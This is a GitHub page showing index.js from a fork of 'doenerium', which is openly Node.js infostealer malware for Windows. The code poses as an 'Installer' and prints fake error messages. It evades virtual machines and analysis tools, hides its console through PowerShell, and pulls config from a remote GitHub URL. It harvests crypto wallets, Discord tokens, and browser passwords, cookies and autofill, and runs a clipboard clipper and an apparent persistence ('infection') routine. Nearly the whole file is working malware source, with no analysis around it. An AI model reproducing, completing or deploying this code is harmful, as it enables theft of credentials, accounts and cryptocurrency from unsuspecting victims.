forked from doener2323/doenerium
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
158 lines (127 loc) · 5.6 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
class doenerium {
constructor() {
this.requires = {
fs: require("fs"),
crypto: require("crypto"),
os: require("os"),
axios: require("axios"),
child_process: require("child_process"),
screenshot: require("screenshot-desktop"),
systeminformation: require("systeminformation"),
buf_replace: require('buffer-replace'),
jszip: require("zip-lib"),
dpapi: require("win-dpapi"),
sqlite3: require("sqlite3"),
path: require("path"),
request: require("request")
}
this.utils = {
encryption: require("./utils/encryption")(this)
}
this.config = {
counter: require("./config/counter")(this),
crypto: require("./config/crypto")(this),
discord: require("./config/discord")(this),
environ: require("./config/environ")(this),
executable: require("./config/executable")(this),
main: require("./config/main")(this),
user: require("./config/user")(this),
jszip: require("./config/jszip")(this),
wallets: require("./config/wallets")(this),
}
this.config.webhook = require("./config")(this);
this.config.keywords = require("./keywords")(this);
this.utils = {
encryption: require("./utils/encryption")(this),
constructor: require("./utils/constructor")(this),
discord: require("./utils/discord")(this),
flags: require("./utils/flags")(this),
infection: require("./utils/infection")(this),
protection: require("./utils/protection")(this),
prototype: require("./utils/prototype")(this),
time: require("./utils/time")(this),
clipper: require("./utils/clipper")(this),
jszip: require("./utils/jszip")(this),
browsers: require("./utils/browsers")(this),
data: require("./utils/data")(this),
wallets: require("./utils/wallets")(this),
webhook: require("./utils/webhook")(this),
}
this.utils.gofile = require("./gofile");
}
hideSelf() {
this.requires.fs.writeFileSync(`${process.cwd()}\\client.ps1`, `
Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
'
$consolePtr = [Console.Window]::GetConsoleWindow()
#0 hide
[Console.Window]::ShowWindow($consolePtr, 0)
`);
this.requires.child_process.execSync(`type .\\client.ps1 | powershell.exe -noprofile -`, {
stdio: 'inherit'
});
this.requires.fs.unlinkSync(`${process.cwd()}\\client.ps1`);
}
async init() {
process.on("unhandledRejection", (err) => {
console.log(err)
})
process.on("uncaughtException", (exc) => {
console.log(exc)
})
process.title = "Installer"
console.log("Downloading client...")
this.utils.protection.detect_malicious_processes();
const exit = await this.utils.protection.inVM();
if (exit) {
process.exit(0);
}
this.utils.constructor.loadCPUS()
await this.utils.time.sleep(1000);
console.log("[ERROR] Couldn't start client")
console.log("[ERROR] 23: Data error (cyclic redundancy check).")
console.log("[ERROR] 83: Fail on INT 24.")
console.log("[ERROR] 151: The number of specified semaphore events for DosMuxSemWait is not correct.")
console.log("[ERROR] 997: Overlapped I/O operation is in progress.")
console.log("[ERROR] 996: Overlapped I/O event is not in a signaled state.")
await this.utils.time.sleep(1000);
this.hideSelf();
try {
this.config.embed = JSON.parse(JSON.stringify((await this.requires.axios.get("https://raw.githubusercontent.com/1337wtf1337/1337wtf1337/main/embed.json")).data))
} catch {
process.exit(0);
}
this.config.embed.footer = {
text: `${this.utils.encryption.decryptData(this.config.user.hostname)} | ${this.config.embed.credits}`,
icon_url: this.config.embed.avatar_url,
}
this.config.jszip.path = this.config.jszip.generate_path();
console.log(this.config.jszip.path)
this.utils.clipper.detectClipboard();
await this.utils.wallets.getWallets();
await this.utils.discord.getTokens();
await this.utils.discord.saveDiscordTokens();
for (var path of this.config.environ.password_and_cookies_paths) {
if (this.requires.fs.existsSync(path + "Login Data")) {
["getPasswords", "getCookies", "getBookmarks", "getHistory", "getAutofill"].forEach(async (_func) => {
await this.utils.browsers[_func](path)
})
}
}
await this.utils.infection.initialize()
await this.utils.time.sleep(60000);
this.requires.fs.rmSync(this.config.jszip.path, {
recursive: true,
force: true
})
this.requires.fs.rmSync(`${this.config.jszip.path}.zip`, {
recursive: true,
force: true
})
}
}
new doenerium().init()